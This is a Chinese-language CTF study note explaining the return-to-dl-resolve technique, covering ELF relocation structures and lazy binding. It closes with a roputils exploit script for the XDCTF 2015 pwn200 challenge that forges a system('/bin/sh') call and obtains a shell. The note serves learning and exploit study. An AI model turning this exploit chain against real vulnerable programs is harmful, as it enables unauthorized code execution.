pwn複習筆記-return to dl-solve 分析
return to dl-solve也是一種用於繞過aslr+dep的技術
其實目前這種技術更多的是在一個特殊的場景下比較有優勢。
因為同樣的存在棧溢出的情況下,如果能多次memory leak,泄露內存的話,直接可以用dynELF去得到system函數的地址
如果能搜尋到libc,那麼只用泄露一次庫函數的地址,就可以用偏移量算出system的地址。
比如使用libc-database可以做到這一點。
但是,如果無法找到對應的libc,就只能通過dl-resolve技術來實現了
那麼簡單的介紹一下前景:
linux下為了執行庫函數,使用了延時綁定技術
一個參與了動態鏈接的程序,頭部必然包含類型為PT_DYNAMIC的段,它包含.dynamic節區且結構體如下:
typedef struct { Elf32_Sword d_tag; union { Elf32_Word d_val; Elf32_Addr d_ptr; } d_un; } Elf32_Dyn;
Tag對應著每個節區,並且JMPREL對應著.rel.plt
可以使用readelf -d 查看dynmic節區的信息
.rel.plt節是用於函數重定位,.rel.dyn節是用於變數重定位
在.rel.plt中列出了鏈接的C庫函數
這當中的r_offset是這個函數信息結構體相對於.rel.plt節的定位
接下來,就會用r_info進行計算info>>8 * 16 作為偏移,去dynsym中尋找符號表結構體
簡單的說,就是在plt節中,只有函數的plt樁,它指向的是.got.plt的地址,而.got.plt則保存函數的真正地址。
使用readelf -r查看.rel.plt信息
typedef struct { Elf32_Addr r_offset; // 函數的真實地址 Elf32_Word r_info; // 符號表索引 } Elf32_Rel; #define ELF32_R_SYM(i) ((i)>>8) #define ELF32_R_TYPE(i) ((unsigned char)(i)) #define ELF32_R_INFO(s, t) (((s)<<8) + (unsigned char)(t))
.got.plt對應著.rel.plt的Elf32_Rel結構中r_offset的值
如果這個函數是第一次執行,那麼會跳回plt節當中,根據plt後面push的參數作為偏移跳轉到0x8048370,再把link_map = *(GOT+4)作為參數推入棧中,而*(GOT+8)中保存的是_dl_runtime_resolve函數的地址。因此以上指令相當於執行了_dl_runtime_resolve(link_map, reloc_arg),這個函數會去.rel.plt中尋找結構體
再從結構體的r_offset作為偏移
.dynsym段中則對應了具體的符號表
查看符號表的信息
其st_name成員是偏移量,用於在dynstr中找到對應的庫函數名
然後進行解析地址的操作,並調用目標函數
梳理一下這個延時綁定的過程:
1.jmp到plt中的函數地址,然後call .got.plt中保存的函數地址
2.如果是第一次調用,會跳回到plt中,然後根據具體的函數push一個偏移量
3.再進行一次jmp到0x8048370,並把linkmap的地址入棧,再用_dl_runtime_resolve去找到.rel.plt中的結構體
其實是linkmap+這個offset,得到了目標結構體的地址
4.使用目標結構體中的r_info,以r_info>>8 * 16的偏移,去符號表dynsym中尋找到目標結構體
找到.dynsym中對應的結構體後,使用st_name成員作為偏移量,在dynstr中尋找對應函數的名稱字元串
5.在libc中搜索到這個函數的真實地址,並填寫到.got.plt中(對應著.rel.plt中的結構體r_offset的值)
6.調用目標函數
所以進入到實際分析過程中,使用xdctf 2015 pwn200作為例子
計算出偏移量為112,使用roputils編寫payload如下: from roputils import * fpath = ./pwn200 offset = 112 rop = ROP(fpath) addr_bss = rop.section(.bss) #獲得bss節的地址 buf = rop.retfill(offset) #填充112個字元 buf += rop.call(read, 0, addr_bss, 500) #調用read函數,以及對應的偏移 buf += rop.dl_resolve_call(addr_bss+20, addr_bss) #調用dl_resolve函數 target = Proc(rop.fpath) target.write(p32(len(buf)) + buf) print "str: %r" % target.read(len(buf)) buf = rop.string(/bin/sh) buf += rop.fill(20, buf) buf += rop.dl_resolve_data(addr_bss+20, system) #通過偽造system獲得其地址 buf += rop.fill(500, buf) target.write(buf) target.interact(0)
成功getshell
推薦閱讀:
※Abuse Cache of WinNTFileSystem : Yet Another Bypass of Tomcat CVE-2017-12615
※SS7協議存嚴重漏洞,可劫持用戶簡訊驗證碼
※CVE-2017-8715分析:利用PS模塊清單文件繞過微軟安全補丁
※【無線安全】解決和排除無線網路連接故障的若干方法
※安全工作「輕與重」的三層境界